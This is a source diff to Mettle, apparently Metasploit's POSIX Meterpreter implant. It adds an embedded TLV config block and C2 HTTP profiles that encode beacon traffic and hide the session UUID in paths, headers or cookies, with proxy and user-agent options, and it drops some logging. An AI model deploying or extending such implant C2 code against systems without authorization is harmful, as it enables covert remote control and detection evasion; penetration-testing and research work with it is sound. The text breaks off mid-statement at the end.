diff --git a/lib/metasploit_payloads/mettle.rb b/lib/metasploit_payloads/mettle.rb index 9c547002..e02c3ca8 100644 --- a/lib/metasploit_payloads/mettle.rb +++ b/lib/metasploit_payloads/mettle.rb @@ -16,6 +16,8 @@ class Mettle CMDLINE_MAX = 2000 CMDLINE_SIG = 'DEFAULT_OPTS'.freeze + CONFIG_BLOCK_MAX = 8192 + CONFIG_BLOCK_SIG = 'CONFIG_BLOCK'.freeze # # Config is a hash. Valid keys are: # :uri to connect to @@ -36,6 +38,9 @@ def initialize(triple, config={}) def to_binary(format=:process_image) bin = self.class.read(@platform, format) unless @config.empty? + if @config[:config_block] + bin = add_config_block(bin, @config[:config_block]) + end params = generate_argv bin = add_args(bin, params) end @@ -47,6 +52,10 @@ def to_binary(format=:process_image) def generate_argv cmd_line = 'mettle ' @config.each do |opt, val| + # :config_block is embedded into the binary via add_config_block (a + # TLV blob parsed natively); it is not a command-line option. + next if opt == :config_block + cmd_line << "-#{short_opt(opt)} \"#{val}\" " end if cmd_line.length > CMDLINE_MAX @@ -77,6 +86,14 @@ def short_opt(opt) end end + def add_config_block(bin, config_bytes) + if config_bytes.length > CONFIG_BLOCK_MAX + raise Mettle::Error, 'mettle config block too large', caller + end + padded = config_bytes + "\x00" * (CONFIG_BLOCK_MAX - config_bytes.length) + bin.sub(CONFIG_BLOCK_SIG + "\x00" * (CONFIG_BLOCK_MAX - CONFIG_BLOCK_SIG.length), padded) + end + def add_args(bin, params) if params[8] != "\x00" bin.sub(CMDLINE_SIG + ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 85afef63..8690a903 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -26,6 +26,7 @@ struct c2_transport { struct c2 *c2; struct c2_transport_type *type; void *ctx; + struct c2_transport_config *config; }; struct c2_transport_type { @@ -109,6 +110,7 @@ c2_remove_transports(struct c2 *c2) if (t->type->cbs.free) { t->type->cbs.free(t); } + c2_transport_config_free(t->config); free(t->uri); free(t); } @@ -158,6 +160,54 @@ int c2_add_transport_uri(struct c2 *c2, const char *uri) return -1; } +void c2_verb_config_free(struct c2_verb_config *vc) +{ + if (vc) { + free(vc->uri); + free(vc->prefix); + free(vc->suffix); + free(vc->uuid_prefix); + free(vc->uuid_suffix); + free(vc->uuid_get); + free(vc->uuid_header); + free(vc->uuid_cookie); + free(vc); + } +} + +void c2_transport_config_free(struct c2_transport_config *tc) +{ + if (tc) { + free(tc->proxy_url); + free(tc->proxy_user); + free(tc->proxy_pass); + free(tc->user_agent); + free(tc->custom_headers); + free(tc->cert_hash); + free(tc->c2_uuid); + c2_verb_config_free(tc->c2_get); + c2_verb_config_free(tc->c2_post); + free(tc); + } +} + +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t) +{ + return t->config; +} + +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config) +{ + int rc = c2_add_transport_uri(c2, uri); + if (rc == 0 && config) { + /* Find the last-added transport (tail of CDL) */ + struct c2_transport *t = c2->transports->prev; + t->config = config; + } + return rc; +} + static struct c2_transport * choose_next_transport(struct c2 *c2) { diff --git a/mettle/src/c2.h b/mettle/src/c2.h index d2e42211..05eac6f6 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -9,12 +9,61 @@ #include #include "buffer_queue.h" +/* + * C2 Profile configuration for GET/POST verbs + */ +struct c2_verb_config { + char *uri; + int enc_inbound; + int enc_outbound; + int enc_uuid; + void *prefix; + size_t prefix_len; + void *suffix; + size_t suffix_len; + char *uuid_prefix; + char *uuid_suffix; + int prefix_skip; + int suffix_skip; + char *uuid_get; + char *uuid_header; + char *uuid_cookie; +}; + +/* + * Per-transport configuration parsed from TLV config block + */ +struct c2_transport_config { + uint32_t comm_timeout; + uint32_t retry_total; + uint32_t retry_wait; + char *proxy_url; + char *proxy_user; + char *proxy_pass; + char *user_agent; + char *custom_headers; + void *cert_hash; + size_t cert_hash_len; + char *c2_uuid; + struct c2_verb_config *c2_get; + struct c2_verb_config *c2_post; +}; + +void c2_verb_config_free(struct c2_verb_config *vc); +void c2_transport_config_free(struct c2_transport_config *tc); + +/* + * C2 Manager + */ struct c2; struct c2 * c2_new(struct ev_loop *loop); int c2_add_transport_uri(struct c2 *c2, const char *uri); +int c2_add_transport_uri_config(struct c2 *c2, const char *uri, + struct c2_transport_config *config); + int c2_start(struct c2 *c2); int c2_close(struct c2 *c2); @@ -58,6 +107,8 @@ int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport* c2_get_current_transport(struct c2 *c2); +struct c2_transport_config * c2_transport_get_config(struct c2_transport *t); + const char * c2_transport_uri(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); struct ev_loop * c2_transport_loop(struct c2_transport *loop); diff --git a/mettle/src/c2_http.c b/mettle/src/c2_http.c index a6b95d8f..3c65a699 100644 --- a/mettle/src/c2_http.c +++ b/mettle/src/c2_http.c @@ -6,8 +6,10 @@ #include #include +#include #include "argv_split.h" +#include "base64.h" #include "c2.h" #include "http_client.h" #include "log.h" @@ -27,38 +29,361 @@ struct http_ctx { bool online; }; -static void patch_uri(struct http_ctx *ctx, struct buffer_queue *q) +static int add_header(struct http_ctx *ctx, const char *header); +static void http_ctx_free(struct http_ctx *ctx); + +/* + * Base64URL encode: uses -_ instead of +/, no padding + */ +static char *b64url_encode(const void *src, size_t src_len, size_t *out_len) +{ + size_t b64_len = ((src_len + 2) / 3) * 4 + 1; + char *b64 = malloc(b64_len); + if (!b64) return NULL; + + int len = base64encode(b64, src, src_len); + /* Convert to URL-safe and strip padding */ + for (int i = 0; i < len; i++) { + if (b64[i] == '+') b64[i] = '-'; + else if (b64[i] == '/') b64[i] = '_'; + } + while (len > 0 && b64[len - 1] == '=') len--; + b64[len] = '\0'; + if (out_len) *out_len = len; + return b64; +} + +static void *c2_encode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64) { + size_t b64_len = ((len + 2) / 3) * 4 + 1; + char *out = malloc(b64_len); + if (!out) return NULL; + int olen = base64encode(out, data, len); + out[olen] = '\0'; + *out_len = olen; + return out; + } else if (enc == C2_ENCODING_B64URL) { + return b64url_encode(data, len, out_len); + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static void *c2_decode(const void *data, size_t len, int enc, size_t *out_len) +{ + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URL) { + /* base64decode handles both standard and URL-safe variants */ + size_t max_len = ((len + 3) / 4) * 3 + 1; + char *out = malloc(max_len); + if (!out) return NULL; + /* Need null-terminated string for base64decode */ + char *tmp = malloc(len + 1); + if (!tmp) { free(out); return NULL; } + memcpy(tmp, data, len); + /* Convert URL-safe back to standard for decoder */ + for (size_t i = 0; i < len; i++) { + if (tmp[i] == '-') tmp[i] = '+'; + else if (tmp[i] == '_') tmp[i] = '/'; + } + tmp[len] = '\0'; + int olen = base64decode(out, tmp, len); + free(tmp); + if (olen < 0) { free(out); return NULL; } + *out_len = olen; + return out; + } + void *out = malloc(len); + if (out) { + memcpy(out, data, len); + *out_len = len; + } + return out; +} + +static char *get_uuid_from_uri(const char *uri) +{ + /* Extract UUID from the URI path (last path segment) */ + const char *path = strstr(uri, "://"); + if (path) path = strchr(path + 3, '/'); + if (!path || strlen(path) <= 1) return NULL; + + path++; /* skip leading / */ + const char *end = path + strlen(path); + if (*(end - 1) == '/') end--; + const char *last_slash = path; + for (const char *p = path; p < end; p++) { + if (*p == '/') last_slash = p + 1; + } + if (last_slash >= end) return NULL; + + size_t len = end - last_slash; + char *uuid = malloc(len + 1); + if (uuid) { + memcpy(uuid, last_slash, len); + uuid[len] = '\0'; + } + return uuid; +} + +/* + * Resolve the per-transport UUID used for C2 profile placement. Prefers the + * value supplied via TLV_TYPE_C2_UUID; falls back to the URL path's last + * segment when unset. Returned string is malloc'd; caller frees. + */ +static char *get_transport_uuid(struct http_ctx *ctx) { - struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + if (tc && tc->c2_uuid && *tc->c2_uuid) { + return strdup(tc->c2_uuid); + } + return get_uuid_from_uri(ctx->uri); +} + +/* + * Apply the profile's UUID transform (encode + prepend + append) to the + * raw UUID before placement. Returns a malloc'd null-terminated string + * the caller must free, or NULL on failure / empty input. + * If vc is NULL, returns a plain strdup(uuid). + */ +static char *render_uuid(struct c2_verb_config *vc, const char *uuid) +{ + if (!uuid || !*uuid) return NULL; + if (!vc) return strdup(uuid); + + size_t uuid_len = strlen(uuid); + size_t encoded_len = 0; + void *encoded = c2_encode(uuid, uuid_len, vc->enc_uuid, &encoded_len); + if (!encoded) return NULL; + + size_t prefix_len = vc->uuid_prefix ? strlen(vc->uuid_prefix) : 0; + size_t suffix_len = vc->uuid_suffix ? strlen(vc->uuid_suffix) : 0; + size_t total = prefix_len + encoded_len + suffix_len; + char *out = malloc(total + 1); + if (!out) { free(encoded); return NULL; } + + char *p = out; + if (prefix_len > 0) { + memcpy(p, vc->uuid_prefix, prefix_len); + p += prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (suffix_len > 0) { + memcpy(p, vc->uuid_suffix, suffix_len); + p += suffix_len; + } + *p = '\0'; + free(encoded); + return out; +} + +static char *build_profile_url(const char *base_uri, struct c2_verb_config *vc, const char *uuid) +{ + if (!vc || !vc->uri) { + return strdup(base_uri); + } + + /* Extract scheme://host:port from base URI */ + const char *proto_end = strstr(base_uri, "://"); + if (!proto_end) return strdup(base_uri); + const char *host_start = proto_end + 3; + const char *path_start = strchr(host_start, '/'); + size_t base_len = path_start ? (size_t)(path_start - base_uri) : strlen(base_uri); + + const char *profile_uri = vc->uri; + int needs_slash = (profile_uri[0] != '/'); + + char *rendered = render_uuid(vc, uuid); + + /* + * When the profile does not specify a placement for the UUID + * (no uuid_get/uuid_header/uuid_cookie), the handler still needs to + * locate the session via the request path — append the UUID to the + * URI path. Matches PHP/Python behaviour. + */ + bool uuid_in_path = rendered && !vc->uuid_get && !vc->uuid_header && !vc->uuid_cookie; + + size_t url_len = base_len + 1 + strlen(profile_uri) + 1; + if (rendered && vc->uuid_get) { + url_len += 1 + strlen(vc->uuid_get) + 1 + strlen(rendered); + } + if (uuid_in_path) { + url_len += 1 + strlen(rendered); + } + + char *url = malloc(url_len + 1); + if (!url) { free(rendered); return NULL; } + + int written = snprintf(url, url_len + 1, "%.*s%s%s", + (int)base_len, base_uri, + needs_slash ? "/" : "", + profile_uri); + + if (uuid_in_path) { + bool need_sep = written > 0 && url[written - 1] != '/'; + written += snprintf(url + written, url_len + 1 - written, "%s%s", + need_sep ? "/" : "", rendered); + } + + if (rendered && vc->uuid_get) { + char sep = strchr(url, '?') ? '&' : '?'; + snprintf(url + written, url_len + 1 - written, "%c%s=%s", sep, vc->uuid_get, rendered); + } + + free(rendered); + return url; +} + +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len); + +static void patch_uuid(struct http_ctx *ctx, struct buffer_queue *q) +{ + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + + /* + * The framework wraps the patch-uuid response via the GET profile's + * outbound transform (prefix/suffix + encoding). Decode through the + * same profile before parsing the TLV. + */ + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(q, get_profile, &decoded_len); + if (!decoded) { + return; + } + + struct buffer_queue *decoded_q = buffer_queue_new(); + if (!decoded_q) { + free(decoded); + return; + } + buffer_queue_add(decoded_q, decoded, decoded_len); + free(decoded); + + struct tlv_packet *request = tlv_packet_read_buffer_queue(NULL, decoded_q); + buffer_queue_free(decoded_q); if (request) { - uint32_t command_id; + uint32_t command_id = 0; tlv_packet_get_u32(request, TLV_TYPE_COMMAND_ID, &command_id); - const char *new_uri = tlv_packet_get_str(request, TLV_TYPE_TRANS_URL); - - if (command_id == COMMAND_ID_CORE_PATCH_URL && new_uri) { - char *old_uri = ctx->uri; - char *split = ctx->uri; - char *host = strstr(old_uri, "://"); - if (host) { - split = strchr(host + 3, '/'); - } else { - split = strrchr(old_uri, '/'); - } - if (split) { - *split = '\0'; - } - if (asprintf(&ctx->uri, "%s%s", ctx->uri, new_uri) > 0) { - free(old_uri); + if (command_id == COMMAND_ID_CORE_PATCH_UUID) { + const char *new_uuid = tlv_packet_get_str(request, TLV_TYPE_C2_UUID); + if (new_uuid && tc) { + free(tc->c2_uuid); + tc->c2_uuid = strdup(new_uuid); } } + tlv_packet_free(request); + } +} + +/* + * Drain a response queue and apply the inbound C2 profile transform + * (prefix/suffix skip + encoding). Returns a malloc'd buffer the caller + * must free, or NULL on empty/error. *out_len is set on success. + */ +static void *decode_response_with_profile(struct buffer_queue *response_q, + struct c2_verb_config *vc, size_t *out_len) +{ + void *raw = NULL; + ssize_t raw_len = buffer_queue_remove_all(response_q, &raw); + if (!raw || raw_len <= 0) { + free(raw); + return NULL; + } + + if (!vc) { + *out_len = (size_t)raw_len; + return raw; + } + + int start = vc->prefix_skip; + int end = raw_len - vc->suffix_skip; + if (start >= end || start < 0 || end > (int)raw_len) { + start = 0; + end = raw_len; + } + size_t stripped_len = end - start; + + size_t decoded_len = 0; + void *decoded = c2_decode((char *)raw + start, stripped_len, vc->enc_inbound, &decoded_len); + free(raw); + if (!decoded || decoded_len == 0) { + free(decoded); + return NULL; + } + *out_len = decoded_len; + return decoded; +} + +/* + * Process a response with C2 profile decoding (prefix/suffix stripping + encoding) + */ +static void process_response_with_profile(struct http_ctx *ctx, + struct buffer_queue *response_q, struct c2_verb_config *vc) +{ + if (!vc) { + /* No profile — pass raw data through */ + c2_transport_ingress_queue(ctx->t, response_q); + return; + } + + size_t decoded_len = 0; + void *decoded = decode_response_with_profile(response_q, vc, &decoded_len); + if (decoded) { + c2_transport_ingress_buf(ctx->t, decoded, decoded_len); + free(decoded); } - else { - /** - * put packet in ingress? also consider making `core_patch_url` actually core - * and expect the transport or get changed on patch request - **/ +} + +/* + * Prepare egress data with C2 profile encoding (encoding + prefix/suffix wrapping) + */ +static void *encode_egress_with_profile(void *data, size_t data_len, + struct c2_verb_config *vc, size_t *out_len) +{ + if (!vc) { + *out_len = data_len; + return data; } + + size_t encoded_len = 0; + void *encoded = c2_encode(data, data_len, vc->enc_outbound, &encoded_len); + free(data); + if (!encoded) return NULL; + + size_t prefix_len = vc->prefix ? vc->prefix_len : 0; + size_t suffix_len = vc->suffix ? vc->suffix_len : 0; + + if (prefix_len == 0 && suffix_len == 0) { + *out_len = encoded_len; + return encoded; + } + + size_t total = prefix_len + encoded_len + suffix_len; + void *wrapped = malloc(total); + if (!wrapped) { free(encoded); return NULL; } + + char *p = wrapped; + if (prefix_len > 0) { + memcpy(p, vc->prefix, prefix_len); + p += prefix_len; + } + memcpy(p, encoded, encoded_len); + p += encoded_len; + if (suffix_len > 0) { + memcpy(p, vc->suffix, suffix_len); + } + free(encoded); + + *out_len = total; + return wrapped; } static void http_poll_cb(struct http_conn *conn, void *arg) @@ -68,8 +393,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) int code = http_conn_response_code(conn); if (code > 0) { - // When the c2 come back online we set the first_packet=true - // to setup the session properly. if(!ctx->online) { ctx->first_packet = 1; ctx->poll_timer.repeat = 0.1; @@ -85,17 +408,18 @@ static void http_poll_cb(struct http_conn *conn, void *arg) if (code == 200) { struct buffer_queue *q = http_conn_response_queue(conn); if (ctx->first_packet) { - patch_uri(ctx, q); + patch_uuid(ctx, q); ctx->first_packet = 0; got_command = true; } else { - size_t len; if (buffer_queue_len(ctx->egress) > 0) { got_command = true; } if (buffer_queue_len(q) > 0) { got_command = true; - c2_transport_ingress_queue(ctx->t, q); + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + process_response_with_profile(ctx, q, get_profile); } } } @@ -111,11 +435,6 @@ static void http_poll_cb(struct http_conn *conn, void *arg) ctx->poll_timer.repeat = 10; } if (ctx->running) { - /* - * Calling ev_timer_again and setting poll_timer.repeat = 0 - * Will result in having mettle http polling working sync instead of async. - * This is used to avoid pushing data on the queue when the c2 is offline. - */ ev_timer_again(c2_transport_loop(ctx->t), &ctx->poll_timer); if(!ctx->online) { ctx->poll_timer.repeat = 0; @@ -123,32 +442,81 @@ static void http_poll_cb(struct http_conn *conn, void *arg) } } +static void add_profile_headers(struct http_ctx *ctx, struct c2_verb_config *vc) +{ + if (!vc) return; + + char *uuid = get_transport_uuid(ctx); + if (!uuid) return; + + char *rendered = render_uuid(vc, uuid); + free(uuid); + if (!rendered) return; + + if (vc->uuid_header) { + char *hdr = NULL; + if (asprintf(&hdr, "%s: %s", vc->uuid_header, rendered) != -1) { + add_header(ctx, hdr); + free(hdr); + } + } + if (vc->uuid_cookie) { + char *cookie = NULL; + if (asprintf(&cookie, "%s=%s", vc->uuid_cookie, rendered) != -1) { + free(ctx->data.cookie_list); + ctx->data.cookie_list = cookie; + } + } + free(rendered); +} + static void http_poll_timer_cb(struct ev_loop *loop, struct ev_timer *w, int revents) { struct http_ctx *ctx = w->data; bool sent = false; + struct c2_transport_config *tc = c2_transport_get_config(ctx->t); + struct c2_verb_config *post_profile = tc ? tc->c2_post : NULL; + struct c2_verb_config *get_profile = tc ? tc->c2_get : NULL; + while (buffer_queue_len(ctx->egress) > 0) { - /* - * Metasploit's HTTP handler cannot handle multiple queued messages, send these individually for now - * ctx->data.content_len = buffer_queue_remove_all(ctx->egress, - * &ctx->data.content); - */ ctx->data.content = buffer_queue_remove_msg(ctx->egress, &ctx->data.content_len); - http_request(ctx->uri, http_request_post, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + + if (post_profile) { + size_t encoded_len = 0; + void *encoded = encode_egress_with_profile( + ctx->data.content, ctx->data.content_len, + post_profile, &encoded_len); + ctx->data.content = encoded; + ctx->data.content_len = encoded_len; + } + + char *uuid = get_transport_uuid(ctx); + char *post_url = build_profile_url(ctx->uri, post_profile, uuid); + free(uuid); + add_profile_headers(ctx, post_profile); + + http_request(post_url ? post_url : ctx->uri, http_request_post, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(post_url); ctx->data.content_len = 0; ctx->data.content = NULL; sent = true; } if (!sent) { - http_request(ctx->uri, http_request_get, http_poll_cb, ctx, - &ctx->data, &ctx->opts); + char *uuid = get_transport_uuid(ctx); + char *get_url = build_profile_url(ctx->uri, get_profile, uuid); + free(uuid); + add_profile_headers(ctx, get_profile); + + http_request(get_url ? get_url : ctx->uri, http_request_get, + http_poll_cb, ctx, &ctx->data, &ctx->opts); + free(get_url); } } -void http_ctx_free(struct http_ctx *ctx) +static void http_ctx_free(struct http_ctx *ctx) { if (ctx) { if (ctx->egress) { @@ -162,6 +530,9 @@ void http_ctx_free(struct http_ctx *ctx) free(ctx->data.ua); free(ctx->data.referer); free(ctx->data.cookie_list); + free((void *)ctx->opts.proxy.hostname); + free((void *)ctx->opts.proxy.auth_user); + free((void *)ctx->opts.proxy.auth_pass); free(ctx); } } @@ -179,6 +550,57 @@ static int add_header(struct http_ctx *ctx, const char *header) return -1; } +/* + * Parse a proxy URL of the form "scheme://host:port" or "socks=host:port" + * (the latter being the framework's SOCKS encoding) and populate the + * transport's http_request_opts.proxy fields. Adds basic auth credentials + * when configured. + */ +static void apply_proxy_config(struct http_ctx *ctx, struct c2_transport_config *tc) +{ + const char *url = tc->proxy_url; + enum http_proxy_type type = http_proxy_http; + const char *host_start; + + if (strncmp(url, "socks=", 6) == 0) { + type = http_proxy_socks5; + host_start = url + 6; + } else if (strncmp(url, "socks://", 8) == 0) { + type = http_proxy_socks5; + host_start = url + 8; + } else if (strncmp(url, "http://", 7) == 0) { + host_start = url + 7; + } else if (strncmp(url, "https://", 8) == 0) { + host_start = url + 8; + } else { + host_start = url; + } + + const char *colon = strrchr(host_start, ':'); + if (!colon) { + return; + } + size_t host_len = colon - host_start; + char *host = malloc(host_len + 1); + if (!host) { + return; + } + memcpy(host, host_start, host_len); + host[host_len] = '\0'; + + ctx->opts.proxy.type = type; + ctx->opts.proxy.hostname = host; + ctx->opts.proxy.port = (uint16_t)atoi(colon + 1); + + if (tc->proxy_user && *tc->proxy_user) { + ctx->opts.proxy.auth_type = http_auth_basic; + ctx->opts.proxy.auth_user = strdup(tc->proxy_user); + if (tc->proxy_pass) { + ctx->opts.proxy.auth_pass = strdup(tc->proxy_pass); + } + } +} + int http_transport_init(struct c2_transport *t) { struct http_ctx *ctx = calloc(1, sizeof *ctx); @@ -197,6 +619,30 @@ int http_transport_init(struct c2_transport *t) add_header(ctx, "Connection: close"); + /* Apply config from TLV config block if available */ + struct c2_transport_config *tc = c2_transport_get_config(t); + if (tc) { + if (tc->user_agent) { + ctx->data.ua = strdup(tc->user_agent); + } + if (tc->custom_headers) { + /* Headers are CRLF-separated */ + char *hdrs = strdup(tc->custom_headers); + char *line = strtok(hdrs, "\r\n"); + while (line) { + if (strlen(line) > 0) { + add_header(ctx, line); + } + line = strtok(NULL, "\r\n"); + } + free(hdrs); + } + if (tc->proxy_url && *tc->proxy_url) { + apply_proxy_config(ctx, tc); + } + } + + /* Legacy: parse args after | in URI */ char *args = strchr(ctx->uri, '|'); if (args) { *args = '\0'; @@ -212,20 +658,17 @@ int http_transport_init(struct c2_transport *t) } } if (strcmp(argv[i], "--ua") == 0) { + free(ctx->data.ua); ctx->data.ua = strdup(argv[i + 1]); - log_info("ua: %s", ctx->data.ua); } if (strcmp(argv[i], "--referer") == 0) { ctx->data.referer = strdup(argv[i + 1]); - log_info("referer: %s", ctx->data.referer); } if (strcmp(argv[i], "--cookie") == 0) { ctx->data.cookie_list = strdup(argv[i + 1]); - log_info("cookie: %s", ctx->data.cookie_list); } if (strcmp(argv[i], "--header") == 0) { add_header(ctx, argv[i + 1]); - log_info("header: %s", argv[i + 1]); } } } diff --git a/mettle/src/command_ids.h b/mettle/src/command_ids.h index 1ab8f8de..e4ae85b0 100644 --- a/mettle/src/command_ids.h +++ b/mettle/src/command_ids.h @@ -38,7 +38,7 @@ #define COMMAND_ID_CORE_MIGRATE 14 #define COMMAND_ID_CORE_NATIVE_ARCH 15 #define COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION 16 -#define COMMAND_ID_CORE_PATCH_URL 17 +#define COMMAND_ID_CORE_PATCH_UUID 17 #define COMMAND_ID_CORE_PIVOT_ADD 18 #define COMMAND_ID_CORE_PIVOT_REMOVE 19 #define COMMAND_ID_CORE_PIVOT_SESSION_DIED 20 diff --git a/mettle/src/main.c b/mettle/src/main.c index f216264c..6576bcd2 100644 --- a/mettle/src/main.c +++ b/mettle/src/main.c @@ -13,9 +13,11 @@ #include #include "argv_split.h" +#include "extensions.h" #include "log.h" #include "mettle.h" #include "service.h" +#include "tlv.h" static void usage(const char *name) { @@ -239,6 +241,229 @@ void parse_default_args(struct mettle *m, int flags) } } +#define CONFIG_BLOCK_MAX 8192 +#define CONFIG_BLOCK_SIG "CONFIG_BLOCK" +#define CONFIG_BLOCK_SIG_LEN 12 + +/* + * 8KB placeholder for TLV-based configuration block. + * The framework patches this with a XOR-encoded TLV config packet. + */ +static char config_block_data[CONFIG_BLOCK_MAX] = CONFIG_BLOCK_SIG; + +static struct c2_verb_config *parse_c2_verb_group(struct tlv_packet *parent, uint32_t group_type) +{ + size_t vlen = 0; + void *vdata = tlv_packet_get_raw(parent, group_type, &vlen); + if (vdata == NULL || vlen == 0) { + return NULL; + } + + struct tlv_packet *vp = tlv_packet_from_raw(group_type, vdata, vlen); + if (vp == NULL) { + return NULL; + } + + struct c2_verb_config *vc = calloc(1, sizeof(*vc)); + if (vc == NULL) { + tlv_packet_free(vp); + return NULL; + } + + const char *s; + s = tlv_packet_get_str(vp, TLV_TYPE_C2_URI); + if (s) vc->uri = strdup(s); + + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_INBOUND, (uint32_t *)&vc->enc_inbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_OUTBOUND, (uint32_t *)&vc->enc_outbound); + tlv_packet_get_u32(vp, TLV_TYPE_C2_ENC_UUID, (uint32_t *)&vc->enc_uuid); + tlv_packet_get_u32(vp, TLV_TYPE_C2_PREFIX_SKIP, (uint32_t *)&vc->prefix_skip); + tlv_packet_get_u32(vp, TLV_TYPE_C2_SUFFIX_SKIP, (uint32_t *)&vc->suffix_skip); + + size_t len = 0; + void *raw; + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_PREFIX, &len); + if (raw && len > 0) { + vc->prefix = malloc(len); + if (vc->prefix) { + memcpy(vc->prefix, raw, len); + vc->prefix_len = len; + } + } + raw = tlv_packet_get_raw(vp, TLV_TYPE_C2_SUFFIX, &len); + if (raw && len > 0) { + vc->suffix = malloc(len); + if (vc->suffix) { + memcpy(vc->suffix, raw, len); + vc->suffix_len = len; + } + } + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_PREFIX); + if (s) vc->uuid_prefix = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_SUFFIX); + if (s) vc->uuid_suffix = strdup(s); + + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_GET); + if (s) vc->uuid_get = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_HEADER); + if (s) vc->uuid_header = strdup(s); + s = tlv_packet_get_str(vp, TLV_TYPE_C2_UUID_COOKIE); + if (s) vc->uuid_cookie = strdup(s); + + tlv_packet_free(vp); + return vc; +} + +static int parse_config_block(struct mettle *m) +{ + /* Check if the config block has been patched (signature overwritten) */ + if (strncasecmp(config_block_data, CONFIG_BLOCK_SIG, CONFIG_BLOCK_SIG_LEN) == 0) { + return -1; + } + + /* Find the actual data length by scanning backward past null padding */ + size_t data_len = CONFIG_BLOCK_MAX; + for (size_t i = CONFIG_BLOCK_MAX - 1; i > 0; i--) { + if (config_block_data[i] != '\0') { + data_len = i + 1; + break; + } + } + + /* Feed the raw config bytes through the standard TLV packet reader */ + struct buffer_queue *q = buffer_queue_new(); + if (q == NULL) { + return -1; + } + buffer_queue_add(q, config_block_data, data_len); + struct tlv_packet *config = tlv_packet_read_buffer_queue(NULL, q); + buffer_queue_free(q); + if (config == NULL) { + log_error("failed to parse config block"); + return -1; + } + + struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); + struct c2 *c2 = mettle_get_c2(m); + + /* Extract UUID */ + size_t uuid_len = 0; + void *uuid = tlv_packet_get_raw(config, TLV_TYPE_UUID, &uuid_len); + if (uuid && uuid_len > 0) { + tlv_dispatcher_set_uuid(td, uuid, uuid_len); + } + + /* Extract Session GUID */ + size_t guid_len = 0; + void *guid = tlv_packet_get_raw(config, TLV_TYPE_SESSION_GUID, &guid_len); + if (guid && guid_len > 0) { + tlv_dispatcher_set_session_guid(td, guid); + } + + /* Extract session expiry */ + uint32_t session_expiry = 0; + tlv_packet_get_u32(config, TLV_TYPE_SESSION_EXPIRY, &session_expiry); + + /* Extract debug log path */ + const char *debug_log = tlv_packet_get_str(config, TLV_TYPE_DEBUG_LOG); + if (debug_log) { + FILE *log_fp = fopen(debug_log, "a"); + if (log_fp) { + log_init_file(log_fp); + log_set_level(3); + } + } + + /* Iterate C2 transport groups */ + struct tlv_iterator i = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_C2, + }; + size_t group_len = 0; + void *group_data; + while ((group_data = tlv_packet_iterate(&i, &group_len)) != NULL) { + struct tlv_packet *group = tlv_packet_from_raw(TLV_TYPE_C2, group_data, group_len); + if (group == NULL) { + continue; + } + + const char *url = tlv_packet_get_str(group, TLV_TYPE_C2_URL); + if (url == NULL) { + tlv_packet_free(group); + continue; + } + + struct c2_transport_config *tc = calloc(1, sizeof(*tc)); + if (tc == NULL) { + tlv_packet_free(group); + continue; + } + + tlv_packet_get_u32(group, TLV_TYPE_C2_COMM_TIMEOUT, &tc->comm_timeout); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_TOTAL, &tc->retry_total); + tlv_packet_get_u32(group, TLV_TYPE_C2_RETRY_WAIT, &tc->retry_wait); + + const char *s; + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_URL); + if (s) tc->proxy_url = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_USER); + if (s) tc->proxy_user = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_PROXY_PASS); + if (s) tc->proxy_pass = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UA); + if (s) tc->user_agent = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_HEADERS); + if (s) tc->custom_headers = strdup(s); + s = tlv_packet_get_str(group, TLV_TYPE_C2_UUID); + if (s) tc->c2_uuid = strdup(s); + + size_t hash_len = 0; + void *hash = tlv_packet_get_raw(group, TLV_TYPE_C2_CERT_HASH, &hash_len); + if (hash && hash_len > 0) { + tc->cert_hash = malloc(hash_len); + if (tc->cert_hash) { + memcpy(tc->cert_hash, hash, hash_len); + tc->cert_hash_len = hash_len; + } + } + + /* Parse C2 GET/POST profile sub-groups */ + tc->c2_get = parse_c2_verb_group(group, TLV_TYPE_C2_GET); + tc->c2_post = parse_c2_verb_group(group, TLV_TYPE_C2_POST); + + c2_add_transport_uri_config(c2, url, tc); + tlv_packet_free(group); + } + + /* Hot-load extensions baked into the config block (EXTENSIONS=) so + * their commands are registered before the first C2 dispatch. */ + struct tlv_iterator ext_it = { + .packet = config, + .offset = 0, + .value_type = TLV_TYPE_EXTENSION, + }; + size_t ext_group_len = 0; + void *ext_group_data; + while ((ext_group_data = 